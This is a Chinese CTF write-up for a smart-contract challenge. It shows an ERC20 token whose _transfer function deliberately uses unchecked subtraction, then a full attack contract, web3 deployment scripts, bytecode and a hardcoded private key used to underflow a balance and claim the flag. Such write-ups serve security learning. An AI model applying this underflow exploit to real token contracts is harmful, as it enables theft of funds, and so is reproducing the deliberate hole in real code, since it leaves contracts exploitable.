区块链学习笔记之RealWorld体验赛——TransferFrom

Van1sh 合约小屋/ contract CTF

创建时间:2022-01-23 00:11

字数:1.7k 阅读:

erc20_fake.sol
deployer.sol
攻击合约
解题步骤

erc20_fake.sol

//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol) public {
        _name = name;
        _symbol = symbol;
        _decimals = 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
contract FishmenToken is ERC20("FishmenToken", "FMT"), Ownable {
    function mint(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
    }

    function burn(address _from, uint256 _amount) public {
        _burn(_from, _amount);
    }
}

deployer.sol

pragma solidity ^0.6.6;

import "./erc20_fake.sol";

contract deployer {
    FishmenToken public fishmenToken;
    bool public isSvd;

    constructor() public {
        fishmenToken = new FishmenToken();
    }

    function solve() public returns (bool) {
        require(fishmenToken.balanceOf(msg.sender) > 100,"token balance < 100");
        isSvd = true;
    }

    function isSolved() public view returns (bool) {
        return isSvd;
    }
}

合约看着很长，搞了一个fishmantoken，但其实漏洞很简单，看到erc20_fake.sol里，虽然用了所谓的safemath，但是注意到合约ERC20里的_transfer函数，

function _transfer(
    address sender,
    address recipient,
    uint256 amount
) internal virtual {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    _balances[sender] = _balances[sender] - amount;
    _balances[recipient] = _balances[recipient] + amount;
    emit Transfer(sender, recipient, amount);
}

做transfer的时候他还是用了减号，那依然会造成下溢，【想要用到safemath的功能，这里得用sub】

所以这里我们可以部署一个 attack合约，然后用这个合约调用transfer随便往哪里赚钱，那么他自己的账户的钱就会下溢而变得很多。

攻击合约

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.6.6;
import "./erc20_fake.sol";
import "./deployer.sol";
contract attack{
    address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去，部署的题目（deployer合约）地址
    bool public flag;
    
    deployer challenge=deployer(challenge_addr); 
    address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址
    
    FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例
    
    constructor() public{
        fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户（别的啥payable的账户都行）随便转点钱
        flag=challenge.solve(); // 调用一下solve完成解题
    }
}

解题步骤

和远程交互，建立一个部署题目的账户，

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2
[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A

然后去8080端口，有水管，往这个账户搞点eth

部署题目

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A
[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f
[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae

好了，我们还得再自己建立一个部署攻击合约的账户，这里不能通过交互建立账户，他都不给你私钥，这里的用脚本交互去创建一个账户

from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))
key=w3.eth.account.create()
print(hex(bytes_to_long(key.privateKey)))
account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')

然后还是，去水管往这个账户打点钱。

接下来我用remix去编译一下攻击合约，拿到他的字节码。或者也可以部署【注意到，这里肯定是部署失败的，但是我们主要想要他的bytecode】

然后我们继续用脚本，在这条私链上部署攻击合约

def deploy(rawTx):
    signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey)
    hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
    receipt = w3.eth.waitForTransactionReceipt(hashTx)
    return receipt

if __name__ == '__main__':
    rawTx = {
        'from': account.address,
        'nonce': w3.eth.getTransactionCount(account.address),
        'gasPrice': w3.toWei(1,'gwei'),
        'gas': 300000,
        'value': w3.toWei(0, 'ether'),
        'data': '0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033',
        "chainId": 1211  #私链的chainId可以去metamask导入查一下，是1211
    }
    receipt = deploy(rawTx)

然后交互去拿flag就好了。

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